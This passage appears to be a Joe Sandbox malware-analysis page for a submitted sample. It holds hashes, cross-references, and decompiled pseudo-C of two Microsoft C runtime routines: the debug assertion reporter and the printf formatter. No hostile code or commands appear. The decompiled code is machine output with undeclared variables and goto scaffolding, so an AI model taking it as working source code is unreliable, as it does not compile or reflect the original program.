Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 26d3fd777997cd89bbac49854346efc384aa8d6a1db7135b4083344f5dc7b335
Instruction ID: 6e2a06b5425bb556b48d1d935c1db0496481da07e73846cecddacfdb35bc574d
Opcode Fuzzy Hash: 26d3fd777997cd89bbac49854346efc384aa8d6a1db7135b4083344f5dc7b335
Instruction Fuzzy Hash: F5B012312442583787002BF27D0AD073A8CC9C47203A10065F00CD1010EC6194004059

Uniqueness

Uniqueness Score: -1.00%

Function 0042C3DE, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C3DE(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422F00(_t210));
						 *(L00422F00( *(L00422F00(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436340(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041DAE0( *((intOrPtr*)(L00422F00(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422F00(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041E050(E0041DBD0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041E050(E0041DBD0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041E050(E004321C0(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041E050(E004321C0(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041E050(E004321C0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041E050(E0041DBD0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422F00(_t210));
						 *(L00422F00(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BD20( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041DAE0( *(L00422F00(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422F00(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041E050(E0041DBD0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436E00(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041DAE0( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041E050(E0042DC20(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E3B0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x55b808;
						 *(_t263 - 0x5050) =  *0x55b808;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C975();
							goto L44;
						}
						_t240 =  *0x55b804;
						 *(_t263 - 0x504c) =  *0x55b804;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x55b800 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x55b800( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DEB0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041E050(E00436E30(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00429680(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042CADF();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BD50(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041E050(E00436E30(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C2E0(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c3de
0x0042c3eb
0x0042c498
0x0042c49e
0x0042c4af
0x0042c4ba
0x0042c4d2
0x0042c4d9
0x0042c4de
0x0042c4e1
0x0042c4ee
0x0042c512
0x0042c517
0x0042c517
0x0042c51a
0x0042c51f
0x0042c525
0x0042c52e
0x0042c560
0x0042c565
0x0042c565
0x0042c52e
0x0042c56c
0x0042c572
0x0042c580
0x0042c574
0x0042c574
0x0042c574
0x0042c5ac
0x0042c5bc
0x0042c5c1
0x0042c5c1
0x0042c5f6
0x0042c5fb
0x0042c602
0x0042c604
0x0042c611
0x0042c643
0x0042c648
0x0042c648
0x0042c66b
0x0042c67b
0x0042c680
0x0042c680
0x0042c687
0x0042c797
0x0042c79c
0x0042c68d
0x0042c68d
0x0042c69e
0x0042c6a9
0x0042c6b5
0x0042c6b6
0x0042c6b9
0x0042c6d4
0x0042c6d9
0x0042c6dc
0x0042c6e9
0x0042c70d
0x0042c712
0x0042c712
0x0042c720
0x0042c729
0x0042c75b
0x0042c760
0x0042c760
0x0042c763
0x0042c79f
0x0042c7a9
0x0042c7c8
0x0042c7d7
0x0042c7fe
0x0042c803
0x0042c80d
0x0042c83f
0x0042c844
0x0042c844
0x0042c84e
0x0042c85d
0x0042c867
0x0042c873
0x0042c878
0x0042c87b
0x0042c882
0x0042c888
0x0042c89f
0x0042c8a8
0x0042c8c4
0x0042c8cd
0x0042c8cf
0x0042c8d4
0x0042c899
0x00000000
0x0042c899
0x0042c8d6
0x0042c8e6
0x00000000
0x0042c8e6
0x0042c8f7
0x0042c967
0x0042c967
0x0042c96e
0x00000000
0x0042c96e
0x0042c8f9
0x0042c8ff
0x0042c916
0x0042c91f
0x0042c93b
0x0042c944
0x0042c946
0x0042c94b
0x0042c910
0x00000000
0x0042c910
0x0042c94d
0x0042c95d
0x00000000
0x0042c95d
0x00000000
0x0042c980
0x0042c980
0x0042c987
0x0042c994
0x0042c996
0x0042c9a0
0x0042c9b2
0x0042c9b8
0x0042c9bd
0x0042c9bf
0x0042c9c9
0x0042c9cf
0x0042c9cf
0x0042c9bd
0x0042c9dc
0x0042c9ef
0x0042ca0e
0x0042ca13
0x0042ca29
0x0042ca29
0x0042ca3c
0x0042ca45
0x0042ca45
0x0042ca4b
0x0042ca58
0x0042ca5a
0x0042ca65
0x0042ca98
0x0042ca9d
0x0042ca9d
0x0042cab0
0x0042cabf
0x0042cacb
0x0042cacb
0x0042ca58
0x0042c9dc
0x0042cad1
0x0042cad1
0x0042cad8
0x0042caf1
0x0042cafa
0x0042cb02
0x0042cb03
0x0042cb04
0x0042cb12
0x0042cb12
0x0042c84e
0x0042c422
0x0042c42f
0x0042c439
0x0042c446
0x0042c43b
0x0042c43e
0x0042c43e
0x0042c450
0x0042c457
0x0042c462
0x0042c46f
0x0042c47a
0x0042c480
0x0042c485
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C3E3
__invoke_watson_if_error.LIBCMTD ref: 0042C422
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C42F
OutputDebugStringA.KERNEL32(004061D4), ref: 0042C457
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C462
OutputDebugStringA.KERNEL32(?), ref: 0042C46F
OutputDebugStringA.KERNEL32(004061C8), ref: 0042C47A
_wcscat_s.LIBCMTD ref: 0042C63A

Part of subcall function 004321C0: __invalid_parameter.LIBCMTD ref: 00432232

__invoke_watson_if_error.LIBCMTD ref: 0042C643

Part of subcall function 0041E050: __invoke_watson.LIBCMTD ref: 0041E071

_wcscat_s.LIBCMTD ref: 0042C672

Part of subcall function 004321C0: _memset.LIBCMT ref: 0043229B
Part of subcall function 004321C0: __invalid_parameter.LIBCMTD ref: 004322F7

__invoke_watson_if_error.LIBCMTD ref: 0042C67B
__snwprintf_s.LIBCMTD ref: 0042C6D4

Part of subcall function 0042BD20: __vsnprintf_s_l.LIBCMTD ref: 0042BD42

__invoke_watson_if_oneof.LIBCMTD ref: 0042C70D
_wcscpy_s.LIBCMTD ref: 0042C752
__invoke_watson_if_error.LIBCMTD ref: 0042C75B
__cftoe.LIBCMTD ref: 0042C7CF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C7FE
_wcscpy_s.LIBCMTD ref: 0042C836
__invoke_watson_if_error.LIBCMTD ref: 0042C83F
__itow_s.LIBCMTD ref: 0042C419

Part of subcall function 00436E30: _xtow_s@20.LIBCMTD ref: 00436E5B

__strftime_l.LIBCMTD ref: 0042C4D9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C512
_wcscpy_s.LIBCMTD ref: 0042C557
__invoke_watson_if_error.LIBCMTD ref: 0042C560
_wcscpy_s.LIBCMTD ref: 0042C5B3
__invoke_watson_if_error.LIBCMTD ref: 0042C5BC
_wcscat_s.LIBCMTD ref: 0042C5ED
__invoke_watson_if_error.LIBCMTD ref: 0042C5F6

Strings

_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C402, 0042CA78
_CrtDbgReport: String too long or IO Error, xrefs: 0042C546, 0042C741
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C825
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C5D5
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C624
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C59B
_VCrtDbgReportA, xrefs: 0042C3FD, 0042C4FC, 0042C53C, 0042C596, 0042C5D0, 0042C61F, 0042C657, 0042C6F7, 0042C737, 0042C7E9, 0042C81B, 0042CA73
t9j, xrefs: 0042CA65
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C820
%s(%d) : %s, xrefs: 0042C6BE
(*_errno()), xrefs: 0042C501, 0042C6FC
Assertion failed: , xrefs: 0042C574
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C541
t8j, xrefs: 0042C80D
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C73C
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C65C
, Line , xrefs: 0042C45D
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C3F8, 0042C4F7, 0042C537, 0042C591, 0042C5CB, 0042C61A, 0042C652, 0042C6F2, 0042C732, 0042C7E4, 0042C816, 0042CA6E
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C7EE
Assertion failed!, xrefs: 0042C580
<file unknown>, xrefs: 0042C446
Second Chance Assertion Failed: File , xrefs: 0042C42A

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction ID: c365b9feadeef7086bddf87897a49f952d20e34b3738979bb6ee368af7cc5e8e
Opcode Fuzzy Hash: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction Fuzzy Hash: 9A02A5B4A40728ABDB20EF50DD46FDF7378AB04745F50409AF6097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00435019, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00435019(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E004283F0(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E004283F0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E004283F0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E004283F0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428410(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428410(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430820(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E004308A0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C5D0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435600))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E004312B0( *(_t701 - 0x251) & 0x000000ff, E0041AEE0(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435710( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00435710( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E410();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422F00(_t616))) = 0x16;
